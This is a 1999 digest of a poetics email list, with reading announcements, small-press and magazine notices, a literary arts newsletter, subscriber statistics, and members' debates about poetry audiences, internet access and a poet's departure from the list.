Re: Business, class, access

Sat 30 Oct 1999

Who says poetry magazines and presses are money losing ventures? Without intelligent planning, in terms of a regular business, I suppose they might be.

As for running a magazine as an aspect of "class structure" this editor started out on unemployment and used the wages to publish books and magazines. There are many publishers outside & on this list who do not use the perpetual victim stance or "have not" status you are attributing to the lower classes. I would like the dope on how I can use my editorship to get ahead, though. Also interested in a clarification or quantification of ways this manifests beyond talking with and meeting some fine writers.

Be well

David Baratier

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29. Jerrold Shiroma
Small Press Publications List Deadline
Sat 30 Oct 1999

The deadline for this week's Small Press Publications List is this Friday. All publishers who wish to have their publications listed please send all information to [redacted]. Include titles, authors, prices, contact info, web address (if applicable), etc.

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30. Alan Sondheim
New Observations #123
Sat 30 Oct 1999

(This is a good magazine; I edited #120 on Cultures of Cyberspace - Alan)

FOR IMMEDIATE RELEASE: October 30, 1999

New Observations Magazine
611 Broadway #701 New York, New York 10012
[redacted], [redacted]
http//www.newobservations.org

New Observations is pleased to announce the publication of incarceration Guest Edited by Gene Kraig. Fall 1999, issue #123, $6.00

INCARCERATION: As Gene Kraig says in her introduction, "The artists assembled here speak of confinement. Imprisonment. Art of a most stark reality facing two million incarcerated American sons, daughters, husbands, wives. … We need it all to enlighten. Words and images: abstract, conceptual, representative; the refined and the unrefined. And maybe then we will be able to bring forth the picture of imprisonment today as one of the largest growth industries in America, 1999. In this issue, I have been honored to have contributors who have the capacity to transcend the saturated mediaized images of incarceration to impact us with their depictions of the meaning of confinement: labeling, impenetrable loss, hopelessness, demons, vulnerability, isolation, dehumanization, the wail of hope, the begging for compassion."

Contributors to the issue: Cynthia Manning Crosby, Joan Damankos, Mary DeWitt, Todd Gilens, Jane Gillooly, Simon Grennan, Arthur Keigney, Phyllis Kornfeld, Michael Reddick, Troy Richards, Nina Rosenblum, Christopher Sperandio, Richard Torchia, Peter Waite, David Wojnarowicz

Founded in 1981, New Observations, has published the art and writing of international artists on topics that reach beyond the parameters of the NY art scene. New Observations has a unique mandate: to create a quarterly

publication, guest-edited by creative people from fields as diverse as visual art, music, literature and craft. Each issue is developed from proposals submitted to the magazine . The guest editors then assemble texts and images to illuminate their theme.

Available now at at newsstands and art bookstores, The Dia Foundation/Printed Matter Bookstore or by subscription by contacting our office. Check the back cover for a selection of back issues.

New Observations is a non-profit, contemporary arts journal written, edited and published by the arts community. Each issue has a guest editor and a pertinent topic.

1 year/4 issues/$22.00 (USA)
2 years/8 issues/$38.00 (USA)
Overseas add $12.00 per year for postage.

We are developing our e-mail list. Please let us know if you want to be removed from our list or if you receive multiple messages.

Contact: Claire McConaughy
New Observations Magazine

↑ Index

31. david bromige
p'y audiences/// signing off pro tem
Sun 31 Oct 1999

True, Miekal---and you don't need to specify me as the recipient, as several persons ahead of me on this thread were also expressing concern about the loss of audience or imbalance of same.....I would add to your response just this, those 9,000 hits on your website : do you think they will translate into as much in grants/readings/st teaching gigs, as Dobyns' 9,000 books sold? If not, what can be done to rectify this, etc, given that one cares, etc.

David

_____Listmates:

Will be traveling for a couple weeks, so am unsubbing pro tem. Keep Up Good Work, for which Thanks.

Reading Sked

Nov 3 St Marks Poetry Project, NYC, Wed at 7:30 p.m, w/ Elizabeth Fodaski.

Nov 9 Bath Spa University, U.K. Tues in eve. W/ Tony Lopez.

Nov. 10 Plymouth Univ., at Exmouth, U.K. Wed at noon.

Nov. 16 Royal Holloway & Bedford New College, Egham, U.K. Tues at noon.

Nov. 16 Subvoicive, London (above The 3 Cups, Holborn). Tues eve, w/ Michael Heller.

If you are within range, please come. David

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32. **pete spence**

Re: on sondheim, on raphael, on expression (OR, in defense of reading)

Sun 31 Oct 1999

> *This is puzzling and quite, quite bizarre:*
>
> *my post was merely relating to how others (with whom i guess you align yourself, right?) were displaying all their massive superiority "over" D. Raphael..... as i've said numerous time, there is much that is strong and interesting in Sondheim's work; was gonna back-chan. this, but on 2nd thought it probably should go on the list....*
>
> *Do you actually read the things you respond to??*
>
> *mp*
>
> *On Mon, 25 Oct 1999, pete spence wrote:*

> >
> > ,,seems to me at least sondheim is active is MAKING things and has found
> >a
> > venue to show and tell///pete spence
> >

dear mp i'm finding your responder weerd!! i'm reasonable enough friends with dan and don't know sonny/dime at all but all i was saying is sonny/dime seems to do a lot of work /shows it as it happens whyche seems a good evaluation of e-mail,,to make things /writing/art is a political act all i saying was keep making is all pete spence

but is that me you are asking if i read the things i respond too????? weerd question//pete

---

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↑ Index

33. pete spence
Re: bye
Sun 31 Oct 1999

>
>it's a sad day when alan s feels he needs to drop off the list...
md

totally silly day!!! on the list for thick and thin of it can be hard but stick in there alan//pete

_____
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34. dbkk
Tina Darragh & P. Inman
Sun 31 Oct 1999

If you're in the Bay Area this Friday night (November 5), we're holding a post-reading reception for Tina Darragh and Peter Inman. They'll be reading for Small Press Traffic at 7:30 and afterwards folks are invited over to our apartment for refreshments and chat.

If you're interested, back-channel for details--or ask us about it at the reading.

Kevin K. and Dodie B.

↑ Index

35. Lowther, John
of late, apologia
Mon 1 Nov 1999

{ p o e t i x }

dear all

the list has been, in places lately
unpleasant ----- i'm not about to rehash it

suffice to say that for whatever part i have
played or have been presumed to play in it
(the latter undoubtedly my fault as well)

i apologize
sincerely
)ohn

↑ Index

36. Daniel Kane
David Mura on WriteNet
Mon 1 Nov 1999

This month on WriteNet, poet David Mura discusses his poem "An Argument: On 1942," and talks about poetry in relationship to his identity as a Japanese-American. To view the page, go to

http://www.writenet.org/poetschat/poetschat_dmura.html

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37. David Knoebel
Announcement: More Joy
Mon 1 Nov 1999

Drive Thru Poetry Installation

http://home.ptd.net/~clkpoet/morejoy/morejoy.html

--
David Knoebel
http://www.clickpoetry.com

↑ Index

38. Poetics List Administration
ach... / Dorow
Mon 1 Nov 1999

This came to the administrative account. Chris

--

From: "Thomas Dorow" <[redacted]>
Date: 10/30/99, 4:32 AM +0200

So I was standing at the bus station two days ago thinking about things being as they were, and I this line from Rafael Alberti pops to my mind: "Wenn meine Stimme an Land stirbt, / bringt sie hinunter ans Meer" or rather (but that didn´t pop to my mind) "Si mi voz muriera en tierra,/ llevada al nivel del mar" which is something like "If (or when) my voice dies on the land/ take her down to the sea" and then i thought of this poem in its translation, this

"Debajo del chopo, amante,
debajo del chopo, no.

Al pie del álamo, sí,
del álamo blanco y verde

Hoja blanca tú,
hoja verde yo."

And then I thought how good it was that there were these kinds of poems that come to mind just when you needed them or didn´t, or those sentences or lines even. And today I read that

Rafael Alberti has died.

I never thought of him as being still alive. He was 96, but alive. His book "Marinero en tierra" (1924?) is ...o well. If it hadn´t been for that one. There are poetics and there are poems I read and fall in love with and there are some loves that will fail if this is taken for that. Some will not. O well. It was strange to think of him as having been alive and not being alive anymore at the same time.

Also I don´t want Alan to leave the list. Sad. Tom.

↑ Index

39. Poetics List Administration

From a small Chicano press in San Diego / Calaca Press

Mon 1 Nov 1999

This message came to the administrative account. Chris

--

From: "Calaca Press" <[redacted]>
Date: 10/30/99, 12:58 PM -0700

Poetics-

A big what's up? to all of the people working at Poetics. I received info on the poetics list from another small press here in SD called Meow Press. He said I should check out the poetics list, so here I am.

I am the owner (along with my wife) of a small independent Chicano press based in San Diego, California called Calaca Press. We produce bilingual literature and Spoken Word CDs. We currently have 3 titles under our belt: One book called Bus Stops and Other Poems by Manuel J. Velez and two CDs, Raza Spoken Here Volume 1 (which is a compilation Spoken Word CD by various Chicano poets from SD, LA and the SF Bay area) and Chorizo Tonguefire by a bilingual poetry collective called the Taco Shop Poets. We currently have a few projects in the works including a Spoken Word CD collaboration by two Chicana poets (Elba Rosario Sanchez and Olga Angelina Garcia Echeverria); A bilingual

literary journal called La Calaca Review; Volume 2 of Raza Spoken Here; and two books to be published in late July/early August .

We distribute our stuff mainly through word of mouth, the internet and the few bookshows that we attend. Therefore, we are always looking for new ways to let people know about our titles. Do you think people on the poetics list would be interested in receiving info on Calaca Press books and Spoken Word CDs? If so please subscribe us.

Thank you for your time,

Brent Beltran
Calaca Press

For more info on us please visit our website:

http://members.home.net/calacapress

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40. Poetics List Administration

Poetry reading!! / Fouhy

Mon 1 Nov 1999

---

had to reformat this message etc. Chris

--

From: George Fouhy <[redacted]>
Date: Sun, 31 Oct 1999 01:40:51 -0500

Northern Westchester Center for the Arts
Creative Arts cafe Poetry Series
272 No. Bedford Road
Mt. Kisco, NY 10549
Contact: Cindy Beer-Fouhy [redacted]
Fax # [redacted]

For immediate Release:
Poet Nicholas Johnson
Read at Creative Arts Café Poetry Series

Mt. Kisco, NY: The Creative Arts Cafe at the Northern Westchester Center for the Arts will feature poet Nicholas Johnson on Monday, November 1, at 7:30 PM. A reception and open mike will follow.

Nicholas Johnson lives and writes in Brooklyn, New York. He was born in Hartford, CT and educated at Brooklyn College (MFA), The Catholic University of America (ABD), and the University of Connecticut (BA). In addition to work in medical advertising, he has taught at the College of New Rochelle. His

publications include: American Letters & Commentary, Pivot, The Ledge, The Journal, Epoch, the 1997 Anthology of Magazine Verse & Yearbook of American Poetry, The Second Word Thursday Anthology, Rattapallax, and has work forthcoming in Poetry Wales. He was a MacDowell Colony Fellow, and currently teaches creative writing at The Payne Whitney Clinic and the Lighthouse in New York.

The Northern Westchester Center for the Arts is located at 272 No. Bedford Road in Mt. Kisco, NY 10549. There Suggested Donation is $7.00, $5.00 for students and seniors. Please call [redacted] for directions and information.

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41. Poetics List Administration

Boxkite-Naylor / Smith

Mon 1 Nov 1999

This message came to the administrative account. Chris

--

From: [redacted]
Date: 11/1/99, 3:49 PM +0000

Could someone tell me how to get in touch w/ the magazine, Boxkite? I'm trying to get a copy of Paul Naylor's piece on _Whatsaid Serif_.

thanks,
charles

↑ Index

42. Poetics List Administration

list stats

Mon 1 Nov 1999

```
*  Country              Subscribers
*  -------            -----------
*  Australia                  13
*  Belgium                     2
*  Canada                     43
*  Finland                     1
*  Germany                      3
*  Great Britain                21
*  India                     1
*  Ireland                     5
*  Italy                     1
```

* Japan 5
* Netherlands 1
* New Zealand 14
* Poland 1
* Singapore 1
* Spain 2
* Sweden 4
* Switzerland 2
* Thailand 1
* USA 675
* Yugoslavia 1
* ??? 1

* Total number of users subscribed to the list: 799
* Total number of countries represented: 21

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43. Poetry Project
new on the web site
Mon 1 Nov 1999

Pleased to announce

that the November issue of Poets & Poems is now up on the Poetry Project web site at http://www.poetryproject.com/poets.html

with new work by

Susan Gevirtz
Don Hymans
Pattie McCarthy
Lytle Shaw
Roberto Tejada

For back issues of Poets & Poems, please visit
http://www.poetryproject.com/prevpoet.html

Other new features on the web site:

some reprints from back back back issues of the Newsletter (we're talking 70s and 80s!)
including:

Bernadette Mayer's review of Clark Coolidge's MINE: The One that Enters the Stories, circa 1983, http://www.poetryproject.com/mayerrev.html

&

Vicki Hudspith's interview with Lyn Hejinian, circa 1970, http://www.poetryproject.com/hudspith.html

and reprinted from The World

Jaime Manrique's essay, Ashes and Embers: Presence of Latin Poetry in New York Cit

and a new & improved monthly calendar with a few photographs of readers and some of their poems (including those of David Bromige and Roberto Tejada) at http://www.poetryproject.com/calendar.html.

Soon forthcoming: Author Index!

Please
Enjoy

**** If you would like to be removed from this e-mail list, please respond with "remove me please" and we will be sure to remove you. ****

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44. Stephen Ellis
Re: Boxkite-Naylor / Smith
Mon 1 Nov 1999

Boxkite
c/o The Poetics Foundation Inc.
GPO Box 1500
Sydney, N.S.W.
2001 AUSTRALIA

[redacted]

> *From: Poetics List Administration <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: Boxkite-Naylor / Smith*
> *Date: Mon, 1 Nov 1999 16:14:13 -0500*
>
> *This message came to the administrative account. Chris*
>
> --
>
> *From: [redacted]*
> *Date: 11/1/99, 3:49 PM +0000*
>
> *Could someone tell me how to get in touch w/ the magazine, Boxkite? I'm trying to get a copy of Paul Naylor's piece on _Whatsaid Serif_.*

> *thanks,*
> *charles*

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45. jocelyn saidenberg

Tina Darragh and P. Inman Reading at Small Press Traffic

Mon 1 Nov 1999

Reading at Small Press Traffic

Friday, November 5, 7:30 p.m.
Tina Darragh
P. Inman

The last time these two read at Small Press Traffic was mmm, must have been ten years ago, and it was one of the best reading ever given (in the opinions of those who were there) and so it is with great excitement that we announce the return of these two extraordinary poets from the Washington DC area. Tina Darragh's books include on the corner to off the corner (Sun & Moon, 1981), Striking Resemblance (Burning Deck, 1989), a(gain)2st the odds (Potes and Poets, 1989), and adv. fans - the 1968 series (Leave Books, 1993). Her work has been included in several anthologies, among them In the American Tree (National Poetry Foundation, 1986), "Language" Poetries (New Directions, 1987), out of everywhere: linguistically innovative poetry by women in North America & the UK (Reality Street Editions, 1996), and Moving Borders: Three Decades of Innovative Writing by Women (Talisman, 1998). Selections from her current project, the dream rim instructions, have been published in Chain and Primary Writing, and featured in Etruscan Reader 8 (Etruscan Books, 1998). Darragh is employed as a reference librarian at the National Reference Center for Bioethics Literature at Georgetown University. P. Inman's latest book is at. least. (Krupskaya). Other books have included Vel (O Books), Criss Cross and Red Shift (Roof), Think of One (Potes & Poets), Ocker (Tuumba) and Uneven Develop,emt (Jimmy's House of Knowledge). He has also appeared in several anthologies, the most recent of which was From the Other Side of the Century (Sun & Moon). A dues-paying member of the Labor Party, he has been involved in local union activities since 1981. He is currently Vice President of AFSCME Local 2910.

New College Cultural Center
766 Valencia Street, San Francisco
$5

Small Press Traffic Literary Arts Center
766 Valencia Street
San Francisco, CA 94110
415/[redacted]
www.sptraffic.org

Small Press Traffic Literary Arts Center

766 Valencia Street

San Francisco, CA 94110

415/[redacted]

www.sptraffic.org

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46. Aviva V. Gabriel

Re: In Re Alan Sondheim

Mon 1 Nov 1999

This message from Phil about sums up my own sentiments about Sondheim's postings. I find it senseless to squeeze his work out, and the newly-created absence of the opportunity to check in with his work when one has the time is a regretful turn of events. _____

Aviva Vogel Gabriel
Poetangles & Motherdrum Studios
P.O. Box 1085
Norwich, VT 05055-1085

_____
Kind of empty in the way it sees everything, the earth
gets to its feet and salutes the sky.
--John Ashbery, from "For John Clare"
From: Philip Nikolayev <[redacted]>
To: <[redacted]>
Sent: Thursday, October 28, 1999 12:29 AM
Subject: In Re Alan Sondheim

> Dear Alan Sondheim and all,
>
> Being swamped with work, I have been only skimming this list of late, and
> very selectively. I know there have been some criticisms of Alan's
> postings, but didn't realize the thing had gotten so acute. I don't have a
> very clear idea of the nature of the debate (I'd be grateful if someone
> gave me a brief summary), but I'm sorry to hear that it has caused some

> unpleasantness. I have read Alan's book, _Reality Disorder_, with much
> interest, and would very much like him to keep posting here. Alan, have
you
> been asked to stop posting? That's ridiculous! And where I can I read your
> stuff on the poetics of mathematics?
>
> Don't give up and don't despair! This, too, will pass.
>
> Yours,
>
> Philip Nikolayev
>

↑ Index

47. **pete spence**
Re: poetry audience/s
Mon 1 Nov 1999

>
>(who wonders how much it costs to use internet access at a local
>library. out here the towns of 300 people have free internet access in
>their libraries, its everywhere out here in the middle of this nowhere.
Miekal.

being a poorly lad thats how i do it,,hour a day at my local library gets me away from the household chores etc etc//pete spence

_____
Get Your Private, Free Email at http://www.hotmail.com

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48. **pete spence**
Re: Tina Darragh & P. Inman
Mon 1 Nov 1999

> *If you're in the Bay Area this Friday night (November 5), we're holding a post-reading reception for Tina Darragh and Peter Inman. They'll be reading for Small Press Traffic at 7:30 and afterwards folks are invited over to our apartment for refreshments and chat.*
>
> *If you're interested, back-channel for details--or ask us about it at the reading.*
>
> *Kevin K. and Dodie B.*

two bods i've always liked, wish i could get the busfare to the airport!!! maybe i'll pump up the waterwings//pete spence

---

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49. david bromige
Regionalism; Provincialism
Mon 1 Nov 1999

No, Regionalism neednt be belittling, but Provincialism is a pain in the butt. And it does appear that, the further one gets from the active centers, the more sunday painters one encounters. And by sunday painters I mean poets who write in the style of former eras __w/o knowing thats what they're doing___ .

And since they dont know what theyre doing, they commonly do it badly. And you hear it and you heard it already. Actually, thats the way _I_ feel abt Stafford. I do not buy that he "thought hard for all of us." He certainly didnt think hard for me.

So, one person's application of the term "provincial" may not overlap with another's. Nor wd I maintain that one doesnt find provincialism in the core of the great centers of innovative art.

This is likely just a "private grumble." Fear of Hickism, I expect---that I'll become one (or have already) here betwixt the boonies and the shruburbs.

And now, having picked up a handful of what I nearly stepped in, to show you, I must be going.

Back in 3 weeks. David

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50. Tony Green
Re: internet costs
Mon 1 Nov 1999

---

re Miekal & Tom on costs -- I paid 2pounds sterling + 50 p for 1/2 hour in a public library in London in October, 1 pound +50 p for 1/4 hr in a cybercafe in London, & $39.95 NZ = about $20 US per month to run internet at home

Tony Green
From: miekal and <[redacted]>
To: [redacted] <[redacted]>

Date: Tuesday, 2 November 1999 09:38
Subject: Re: poetry audience/s

> *Tom,*
>
> *Poetry books*
>
> *are great*
>
> *but only*
>
> *inexpensive*
>
> *if you can*
>
> *afford access*
>
> *to it.*
>
> *I think yr*
>
> *assumptions*
>
> *are loaded*
>
> *and wrong.*
>
> *Miekal*
>
> *(who wonders how much it costs to use internet access at a local library. out here the towns of 300 people have free internet access in their libraries, its everywhere out here in the middle of this nowhere.*

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51. Michael Neff
(ELAN #3) Electronic Literary Arts Newsletter
Mon 1 Nov 1999

****
ELECTRONIC LITERARY ARTS NEWSLETTER, November, '99
****

Contents:

-Letter from the Editor
-First Annual Literary Arts Film Awards and Writing Competition
-Prairie Schooner Hops Aboard WDS

-ACLU & Friends Take Round One in Michigan
-Bigger, Badder, Barnes & Noble Buys Babbage
-Tiny and Fabulous, FC2 Perseveres
-Story to Cease; Paris Review Archives to Rest; Kenyon Review Turns 60
-Sarabande Dances to a Digital Tune
-House of Representatives Wants More Money for the Arts
-Frankfurt eBook Awards Established by Microsoft
-IndieWIRE Talks to Jane Campion and Atom Egoyan
-Around Towns: Conferences, Calls, etc. etc.

LETTER FROM THE EDITOR

Thank you to the many readers who sent news, advice, and tips in response to my last letter (or just because.) Special thanks to Lisa Albers for informing me of Story magazine's upcoming end, and to Cris Mazza for informing me of FC2's anniversary. Your editrix, fluctuating madly as she does between technophilia and ludditic reaction, continues to be inspired by the way lit.-lovers are using the web to create new kinds of literature, new kinds of libraries, and new kinds of access to the written word. Although she hates that plain 'ole reading is now classified as 'passive,' not part of the grand experiment that is interactivity. If anyone can explain this phenom. to me, that person will be my new best friend.

A note on ELAN policy: we do not review books. Please accept my profuse apologies if my last flip letter made you think otherwise. As always, however, please continue to send other news and subscribers our way.

Liana Scalettar
elan_editor@webdelsol

****

LITERARY ARTS FILM WRITING COMPETITION: TOWARDS A NEW OEUVRE

Whipped up by WDS, the Fiction- and Poetry-into-Film Contest has sprung into being. Submit your poetry or fiction between September 30, 1999, and January 31, 2000 and see if they're chosen to be turned into short films

by
leading independent producers and filmmakers from New York University's famed film program. With a screening and awards ceremony scheduled for the
National Arts Club in Manhattan, and webcast and DVD distribution of winning
films, the contest promises to launch its participating writers and auteurs
into multimedia heaven. Submission guidelines, contest details, and links can
be found at Web Del Sol. <http://www.webdelsol.com/solhome.htm>

PRAIRIE SCHOONER HOPS ABOARD

Edited by Hilda Raz and based at the University of Nebraska, Prairie
Schooner has long been a staple of the 'little magazine' world. And, at long
last, the journal's website will be mirrored at Web del Sol. Check out some
of the very best in contemporary fiction, poetry, and essay--fad-free,
hype-free, inflated-rhetoric free (I promise.) New German Literature is the
theme of PS's current issue, and you'll find in it a gold mine of younger
German writers in translation. Perfect for reading in conjunction with your
(re)discovery of Nobel Laureate Gunter Grass, no?

BOWLING GREEN JOINS CWP

Bowling Green State University has joined WDS's Creative Writing Program site. They've posted work by David Amadio and Melissa Fraterrigo, among many others, as well as a fine introduction to the program's journal, Mid-American Review. (http://www.webdelsol.com/CWP/BowlingGreen>

ACLU AND FRIENDS TAKE ROUND ONE IN MICHIGAN

A Michigan judge has issued a preliminary injunction against enforcement of an internet censorship law. The state law, which is being challenged by the ACLU, WDS, and others, would profoundly impact the ability of internet publishers to freely determine what to post on their sites. The recent ruling means that the law cannot be enforced for the duration of the lawsuit. For more information, see ELAN Numbers 1 and 2, as well as Web del Sol. Speaking of censorship, how about those Mets? I mean, how about that NYC Mayor who shall remain nameless?

BIGGER, BADDER, B & N BUYS BABBAGE'S

According to Publishers Weekly <http://www.publishersweekly.com>, Barnes and Nobles has agreed to buy Babbage's for $189 million in cash. The acquisition, which will add a video game and software chain giant to Len Riggio's bookstore empire, also has Barnes and Noble assuming $26 million in liabilities. The Texas company has just started selling its products online at www.gamestop.com, and also operates 495 Babbage's, Software Etc., and GameStop stores.

Publishers Weekly notes too that Borders.com is forging new partnerships in its efforts to compete with Amazon.com and Barnesandnoble.com. Among these partners are About.com, Sessions at West 54th, and Big Planet. In addition, faced with the expansion of both major competitors into capitalism tout court, Borders.com hopes to focus its efforts on "'the book lover.'"

FC2 CELEBRATES TWENTY-FIVE YEARS

According to ELAN reader Cris Mazza, FC2 joins Graywolf and Kelsey Street Press in celebrating its twenty-fifth anniversary this year. Historically dedicated to giving writers editorial control, the press will issue an anniversary anthology this fall. Edited by Ronald Sukenick and Curtis White, "Into the Slipstream" will feature work by FC2 authors past and present.

STORY TO CEASE; PARIS REVIEW ARCHIVES TO REST; KENYON REVIEW TURNS 60

With its Winter issue, Story Magazine will cease publication, according to Writers Digest <http://www.writersdigest.com.> The digest quotes editor Lois Rosenthal explaining that, with the sale of Story's parent company, she and publisher Richard Rosenthal have become concerned about the journal's future. Revived ten years ago after a lengthy hiatus, Story helped launch the careers of new writers such as Junot Diaz, Nathan Englander, Chris

Adrian, and Elizabeth Graver. All four appear in the autumn anniversary issue, along with Joyce Carol Oates, Rick Bass, Andrea Barrett, and others.

Poets and Writers <http://www.pw.org> notes that the Paris Review <http://www.parisreview.com> has sold its archives to the Morgan Pierpont Library in New York. Approximately 100 boxes of letters, photographs, interviews and books, which had been stored in the home of Paris Review editor George Plimpton, will become part of the library's twentieth-century holdings. The proceeds of the sale, estimated at $500,000, will help start a foundation that will allow the journal continue publication.

Congratulations to The Kenyon Review, which celebrated its sixtieth anniversary with an October 12 talk at the National Arts Club in New York. KR's website also has exciting news: look soon for an archive of posted issues, a full-length piece from the magazine's current issue, and a new section devoted to electronic literature. <http://www.kenyonreview.org>

SARABANDE DANCES TO A DIGITAL TUNE

Sarabande Books, based in Louisville, Kentucky, has launched an Internet-based program for undergraduate students and their professors. According to Poets and Writers, Go Write to the Source will include interactive readers' guides, suggestions fur further reading, and access to question-and-answer sessions with authors in chatrooms. Available titles include "Mulroney and Others," by Baron Wormser, "Dark Blonde," by Belle Waring, and "Garden of Exile," by Aleida Rodriguez. Learn more at <http://www.SarabandeBooks.org/sie>

HOUSE OF REPRESENTATIVE WANTS MORE MONEY FOR THE ARTS

Arts Wire's Current <http://www.artswire.org> notes that in an October 4 vote, the House passed a nonbinding resolution that supports increased funding for both the National Endowment for the Arts (NEA) and the National Endowment for the Humanities (NEH.) The resolution instructs Representatives of the joint conference committee on the FY00 Interior Appropiations

Bill to
agree to funding levels set by the Senate. These levels, which would add
$5
million to the budgets of both federal agencies, would represent the
first
substantial increase in four years.

FRANKFURT eBOOK AWARDS ESTABLISHED BY MICROSOFT

The Microsoft Corporation will fund $160,000 worth of awards for the online publishing industry, according to the New York Times.
<http://www.nytimes.com/library/books/101399ap-microsoft-award.html>
Announced at the Frankfurt Book Fair on October 13th, the Frankfurt eBook Awards will be given annually in seven categories, with the first awardees being chosen next year. The prizes are to include a $100,000 award for the best work originally published online.

INDIEWIRE TALKS TO CAMPION, EGOYAN

IndieWIRE's coverage of the just-closed New York Film Festival
includes
a piece on Jane Campion, who was at the NYFF with "Holy Smoke."
Campion's
recent efforts include an adaptation of "The Portrait of a Lady," by
Henry
James. Also at the festival was Atom Egoyan, with "Felicia's Journey,"
based
on William Trevor's novel. Egoyan's other foray into literary adaptation
is
"The Sweet Hereafter," from the book by Russell Banks.
<http://www.indiewire.com>

AROUND TOWNS: CONFERENCES, CALLS, EXHIBITS

*Eyeshot.Net is up and running. Self-described as 'online litter for the ill and literate," the site includes The Poetry Depository, Earshot Music, cyber-editorials, and more.<http://www.eyeshot.net>

*ACM Hypertext 2000 Set for May 30th-June 3rd. Taking place in San
Antonio,
Texas, this interdisciplinary conference, the eleventh annual, is called

"Communities Centered Around Knowledge." Hypertext and hypermedia practitioners from a broad range of fields will gather for workshops, lectures, demos, mentoring, and more. The submission deadline for conference papers has been extended to October 19, 1999, as well. For more information:
<http://www.ht00.com>

*I know I keep talking about Philadelphia and I'm not stopping now: visit
the Kelly Writers House, based at the University of Pennsylvania, for news
of all things literary in the City of Brotherly Love.
<http://www.english.upenn.edu>

*NYPL Features Creeley Exhibit. In Company: Robert Creeley's Collaborations
runs through January 15, 2000, in the Edna Barnes Salomon Room of the
Humanities and Social Sciences Library. (Note to the less formal: this is
the main branch at 42nd and 5th. The one with the lions in front.) Organized
by the Castellani Art Museum of Niagara University, the show features
Creeley's work with artists such as Francisco Clemente, Jim Dine, Marisol,
and others. The exhibit will travel to North Carolina, Florida, California,
and New Mexico after it closes in New York. <http://www.nypl.org>

****

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==========
Web Del Sol
http://webdelsol.com
LOCUS OF LITERARY ART ON THE WWW

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52. **Betsy Andrews**
Free Cuisinart
Mon 1 Nov 1999

Can anyone give me a website address for Free Cuisinart?

↑ Index

53. **Jill Stengel**
further "business" to attend to...
Mon 1 Nov 1999

---

it's time for that second sunday announcement again

this month is a special month, with 3 fabulous readers, so please note that=20 the actual reading part of the reading will begin at 2:15 sharp... (and, to avoid confusion, "sf" does mean san francisco, ca)

synapse: second sundays at blue bar

a reading with rachel levitsky, rose najia, and jo ann wasserman november 14, 2 p.m.

blue bar is at 501 broadway, at kearney, in sf
enter thru black cat restaurant, same address

admission is $2
(and goes to the readers)

Rachel Levitsky is a poet and teacher from Brooklyn, New York, and is currently an artist-in-residence at Villa Montalvo in Silicon Valley. She is the author of four chapbooks, 2(1x1) Portraits (Baksun Books, 1998), The Adventures of Yaya and Grace (Potes &Poets, 1999) Cartographies of Error (Leroy, 1999), and, her newest, Dearly (a+bend press, 1999).

Rose Najia internationally teaches collaborative improvisation and trains psychotherapists to use the arts for healing and community-building. Her non-fiction book, Holy Fools: Presence and Play has been published in Japanese, Chinese, and Korean. Her poetry chapbook, Body Auguries (a+bend press, 1999), is currently available only in English.

Jo Ann Wasserman’s writing has appeared in journals including The World, Grand Street, Prosodia, and Blue Book. She worked for the Poetry Project at St. Mark’s Church for five years; and is now the managing editor of How2, an online journal of women’s innovative writing. Wasserman’s chapbooks are what counts as proof (Sugar Books, 1999), and we build mountains, new from a+bend press.

↑ Index

54. Tom Beckett
miekal and dobyns and etc.
Mon 1 Nov 1999

Electronically mediated language seems increasingly problematic to me. The instability of the digital page millitates against reflection. Databases break down privacy and become the building blocks of new commercial /governmental tyrannies . Give me a stack of books over a pile of floppys any day.

PS: library access to computers is still relatively limited in time and scope. Your original post spoke of computers as an alternative means of literary distribution. You're not typically gonna be able to run a webpage from a library

terminal. And a lot of libraries won't let you do e-mail (unless say it is a college library and you have an account--are student or staff). That leaves a lot of folks out, Miekal. And the division between haves and have- nots is pretty much along class and racial lines. What a surprise.

TB

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55. Jim Andrews

Claire Dinsmore and contributors to Cauldron & Net, this Sunday at Defib

Tue 2 Nov 1999

FROM WEBARTERY.COM.
DEFIB: LIVE ONLINE Web ARTIST INTERVIEW SURF SHOW
1ST & 3RD SUNDAYS, NOON PST (19:00 GMT)
http://webartery.com/defib
(Requires a Java-enabled browser)

CAULDRON & NET DISCUSSION: SUNDAY NOVEMBER 7, NOON PST (19:00 GMT) Participate in this live online chat show with Claire Dinsmore and the contributors to Cauldron & Net. Claire Dinsmore, whose site, Another Form of Intervention (http://www.StudioCleo.com/entrancehall.html), features her own sophisticated new media work, recently launched the first issue of Cauldron & Net (http://www.StudioCleo.com/cauldron), which features work by Ted Warnell, Todd Sanders, George Quasha, Peter Ganick, David Knoebel, Jennifer Ley, Lars Wickstrom, Reiner Strasser, Kohei Shimizu, Talan Memmott, Nathaniel Bobbitt, State Sanctioned Sedation, Thomas Bell, Cecil Touchon, Shawn Phillips, and Jim Andrews.

CLAIRE DINSMORE
Claire Dinsmore earned her M.F.A. from Cranbrook Academy of Art and her B.F.A. from Parsons School of Design/The New School for Social Research.

She has exhibited worldwide and has been published as an artist, critic,

essayist and poet. Her work is in the permanent collections of the American Craft Museum, The Smithsonian, and The Montreal Museum of Art, as well as within numerous private collections. She is presently a web designer and president of Studio Cleo, Inc. where she works as a new media artist.

DEFIB Defib shows will be recorded and the transcript produced into a full-blown hypertext available at webartery.com. This turning of the live show into a different form after the fact will create a critical record/document that accompanies the project/works under discussion. Defib will roughly coincide with the launch of Web art projects by the artists of Webartery.com and others.

Upcoming shows include Bill Marsh and his new broadcasting project sunbrella.net (Sunday Nov 21, noon PST), and Miekal And and his LinguaMOO collaborative project plus other projects Miekal's collaborating in such as Alan Sondheim's project at Trace (Sunday Dec 5). See http://webartery.com/defib for detailed schedule and other info.

DEFIB:
http://webartery.com/defib
Produced by Dan Waber and Jim Andrews
A project of Webartery.com

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56. Alan Sondheim

les noces (ballet text for foofwa d'imobilite, to be performed)

Tue 2 Nov 1999

/\

les noces

late at night. you have taken your tutu off, your slippers as well. i'm a long way from home. say something about the motel rooms, one-night stands. whiskey on the table, god it's as if you can't dance another step. what's holding me here.

(pauses) i'm a slave to alan, that's what you am. nikuko, the famous rus- sian ballet dancer, and when you lift your leg everyone has a look.

(alan) that's what we bargained for in st. petersburg. the density of the toes increases; my barre is my mirror, my mirror your barre.

(drinks) the bar over the sign negates it.

(developpes a la barre en croix)

(battements sur le cou-de-pied) lousy drink. the line is 'rise up' anyway. 'rise up to show them.' they saw everything all right.

(alan) that's what they're paying for. i could do a grand jete en tournant for all they care. as long as i get from one place to another. as long as i show them some leg.

(nikuko) the ambassador is coming. you can't be naked enough.

